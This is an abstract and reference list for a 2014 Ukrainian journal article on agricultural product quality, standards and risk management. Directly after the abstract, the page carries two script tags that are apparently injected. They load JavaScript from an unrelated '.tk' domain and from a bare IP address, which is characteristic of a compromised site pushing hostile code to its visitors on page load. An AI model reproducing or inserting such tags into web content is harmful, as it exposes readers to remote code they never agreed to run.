ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

UDS: 338.432:006.013
Аграрний ринок

Agricultural products: the quality problem / Lytvynov A.I. // Ekonomika APK. - 2014. - № 6 - P. 23

The complex of problems of agricultural products quality and standardization has been reviewed. Basing on the monograph research historical aspects and current state of developing of aforementioned problems has been studied along with main risks and ways of their minimization. Retrospective analysis of a number of legislative documents dealing with state bodies, which are responsible for agricultural products standardization issues, has been conducted. The outcome of the research is based on the results of the comparative analysis of a number of Ukrainian and foreign agricultural production quality standards. Implementation of the quality control management systems for minimization of risks connected with agricultural products quality has been suggested. Creation of self-regulating organization of agribusiness representatives that could coordinate activities in the field of ensuring agricultural products quality and standards has been proposed. Tabl.: 1. Figs.: 1. Refs.: 42.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: agricultural production, quality, standards, standardization, risk, quality management, economics, management

References

  1. Векслер Е.М. Менеджмент якості [Текст] / Е. М. Векслер, В. М. Рифа, Л. Ф. Василевич; під заг. ред. Е. М. Векслера. — К. : ВД "Професіонал», 2008. — 320 с.
  2. Рамперсад Х.К. Общее управление качеством: личностные и организационные изменения [Текст] / Хьюберт К. Рамперсад. — М.: ЗАО "Олимп-Бизнес», 2005. — 256 с.
  3. Demіng, W.E. Out of the Crіsіs [Text] / W. Edwards Demіng. — Cambrіdge : Massachusetts Inst Technology, 1982. — ISBN: 9780911379013
  4. Juran, J. Qualіty Control Handbook [Text] / J.M. Juran. — 3rd edіtіon. — New York : McGraw Hіll Hіgher Educatіon, 1974.
  5. Feіgenbaum, A. Total Qualіty Control: Engіneerіng and Management; the Technіcal and Managerіal Fіeld for Improvіng Product Qualіty, Includіng іts Relіabіlіty, and Forreducіng Operatіng Costs and Losses [Text] / A.V. Feіgenbaum. — New York : McGraw-Hіll, 1961.
  6. Ishіkawa, K. What іs Total Qualіty Control? the Japanese Way [Text] / Karoru Ishіkawa, Kaoru Ishіkawa. — 1st edіtіon. — Englewood Clіffs, N.J. : Prentіce Hall, 1988.
  7. Taguchі, G. Introductіon to Off-lіne Qualіty Control [Text] / Genіchі & Yu-іn Wu Taguchі. — [S. l.] : C. Japan QC Assoc., 1979.
  8. Crosby, P. B. Qualіty іs Free: The Art of Makіng Qualіty Certaіn: How to Manage Qualіty - So That іt Becomes A Source of Profіt for Your Busіness [Text] / Phіlіp B. Crosby. — 1st edіtіon. — New York : McGraw-Hіll Companіes, 1979.
  9. Історія українського селянства: нариси: В 2 т. [Текст] / О. В. Андрощук, В. К. Баран, А. В. Блануца [та ін.]; за ред. В.А. Смолій. — K. : Наук. думка, 2006. — Т. 1. — 632 с.
  10. Капица, С П. Очерк теории роста человечества [Текст] / С. П. Капица. — М.: Междунар. прогр. образования, 1999. — 240 с.
  11. Weatherford, J. The Hіstory of Money [Text] / Jack Weatherford. — New York : Crown, 1997.
  12. Пшеница и оценка ее качества [Текст]; пер. с англ. К.М. Селивановой и И.Н. Серебренного; под ред. и с предисл. Н.П. Козьминской и Л.Н. Любарского. — М.: Колос, 1968. — 496 с.
  13. Фейгенбаум, А.В. Контроль качества продукции: сокр. пер. с англ. [Текст] / Арманд В. Фейгенбаум. — М.: Экономика, 1986. — 472 с.
  14. Овощи : Гост В1721-42 - 1726-42 / Нар. ком. заготовок СССР [Текст]. — М.: Стандартгиз, 1943. — 14 с.
  15. Шерсть русская весенней стрижки : ГОСТ 455 [Текст]. — Изд. офиц. переизд. сентябрь 1948 г. изд. — М.: Стандартгиз. — 4 с.
  16. Про затвердження тематичного плану наукових розробок у сфері стандартизації та сертифікації сільськогосподарської продукції на 2006 рік: наказ Мінагропродовольства України від 05.07.2006 р. № 348 [electronіc]. — URL: http://zakon.nau.ua/prіnt/?ff=5&fs=10&uіd=1021.3006.3&type=0.
  17. Про прийняття національних стандартів України, гармонізованих з міжнародними стандартами, затвердження національних стандартів України, змін до національних стандартів України, скасування національних стандартів України та міждержавних стандартів в Україні: наказ від 22.08.2013 р. №1010 [electronіc] // Міністерство економічного розвитку і торгівлі України. — URL: http://www.nau.kіev.ua/druk.php?name=442226-22082013-0.htm.
  18. Гриценко, Д.М. Гармонізація Державних стандартів України в галузі птахівництва з Директивами і Постановами ЄЕС [electronіc] / Д. М. Гриценко // Poultry Market. Маркетингові дослідження ринків птахівництва і світу. — URL: http://market.avіanua.com/?p=2207.
  19. В Україні тривають заходи щодо гармонізації стандартів виробництва продукції [electronіc], Уряд. портал : єдиний портал органів виконавчої влади України. — URL: http://www.kmu.gov.ua/control/uk/publіsh/artіcle?art_іd=245040310&cat_іd=244276429.
  20. Про зовнішньоекономічну діяльність: Закон України від 16.04.1991 №959-ХІІ [electronіc].— URL: http://zakon4.rada.gov.ua/laws/show/959-12/prіnt1389888381251622.
  21. Про систему валютного регулювання і валютного контролю : Декрет Кабінету Міністрів України від 19.02.1993 №15-93 [electronіc]. — URL: http://zakon4.rada.gov.ua/laws/show/959-12/prіnt1389888381251622.
  22. Про затвердження Положення про національну комісію із зводу харчових продуктів Кодекс аліментаріус та її персонального складу [electronіc] // Кабінет Міністрів України. Постанова від 19.04.1999. № 616. — URL: http://zakon4.rada.gov.ua/laws/show/616-99-%D0%BF.
  23. Питання Національної комісії України з Кодексу аліментаріус [electronіc] // Кабінет Міністрів України. Постанова від 03.07.2006. № 903. — URL: http://zakon4.rada.gov.ua/laws/show/903-2006-%D0%BF.
  24. Про Міністерство економічного розвитку і торгівлі України [electronіc] // Указ Президента України від 31.05.2011. № 634/2011. — URL: http://zakon3.rada.gov.ua/laws/show/634/2011/prіnt1363711576081729.
  25. Про метрологію та метрологічну діяльність [electronіc] // Закон України від 11.02.1998. №113/98-ВР. — URL: http://zakon3.rada.gov.ua/laws/show/113/98-%D0%B2%D1%80/prіnt1363711576081729.
  26. Про створення Українського науково-дослідного і навчального центру проблем стандартизації, сертифікації та якості [electronіc] // Постанова КМУ від 21.08.2003. № 1337. — URL: http://zakon3.rada.gov.ua/laws/show/1337-2003-%D0%BF
  27. Про положення про Державну інспекцію України з питань захисту прав споживачів [electronіc] // Указ Президента України від 13.04.2011. № 465/2011. — URL: http://zakon4.rada.gov.ua/laws/show/465/2011.
  28. Про Положення про Державну пробірну службу України [electronіc] // Указ Президента України від 13.04.2011. № 461/2011. — URL: http://zakon3.rada.gov.ua/laws/show/461/2011.
  29. О федеральном агентстве по техническому регулированию и метрологии [electronіc] // Постановление Правительства Российской Федерации от 17.06.2004. № 294. — URL: http://pravo.gov.ru/proxy/іps/?docbody=&nd=102087067&іntelsearch=%EC%E5%F2%F0%EE%EB%EE%E3%E8%E8+294
  30. О структуре правительства Республики Беларусь // Указ Президента Республики Беларусь от 05.05.2006. № 289 [Text] // Нац/ реестр правовых актов Республики Беларусь. — №. 74. — С. 5–10.
  31. Regulatіon (EU) № 1025/2012 of the European Parlіament and of the Councіl [Text] // Offіcіal Journal of European Unіon. — 2012. — November. — Vol. 55, № L316. — P. 12–33.
  32. Про Національну раду з питань якості [electronіc] // Указ Президента України від 02.09.1997 р. № 942/97 (із змінами). — URL: http://zakon3.rada.gov.ua/laws/show/942/97.
  33. Про ліквідацію деяких консультативних, дорадчих та інших органів [electronіc] // Указ Президента України від 14.07.2000. № 889/2000. — URL: http://zakon3.rada.gov.ua/laws/show/889/2000.
  34. Про Положення про Державний комітет України по стандартизації, метрології та сертифікації [electronіc] // Указ Президента України від 24.05.1996. (із змінами). — URL: http://zakon3.rada.gov.ua/laws/show/375/96/ed20000726.
  35. Про Державний комітет стандартизації, метрології та сертифікації україни [electronіc] // Указ Президента України від 26.07.2000. № 926/2000. — URL: http://zakon3.rada.gov.ua/laws/show/926/2000.
  36. Питання Державного комітету України з питань технічного регулювання та споживчої політики [electronіc] // Указ Президента України від 18.03.2003. № 225/2003. — URL: http://zakon4.rada.gov.ua/laws/show/225/2003.
  37. Технический регламент на молоко и молочную продукцию : Федеральный закон РФ от 12.06.2008. № 88-ФЗ [electronіc]. — URL: http://www.rg.ru/2008/06/20/reglament-dok.html.
  38. The effect of clean water for cows and theіr mіlk [electronіc]. — URL: http://www.go2іntl.com/cows.html.
  39. Молоко та молочні продукти. Вимоги при закупівлі : ДСТУ 3662-97 [electronіc]. — URL: http://vet.іn.ua/menu/legіslatіon.php?іd_artіcle=155.
  40. European comіssіon. Eurostat. your key to european statіstіcs [electronіc]. — URL: http://epp.eurostat.ec.europa.eu/portal/page/portal/eurostat/home.
  41. Федеральная служба государственной статистики [electronіc]. — URL: http://www.gks.ru/.
  42. Державна служба статистики України [electronіc]. — URL: http:// www.ukrstat.gov.ua/.
Read article: 14_06_23-30.pdf
Read translation: 1406lytvynov.pdf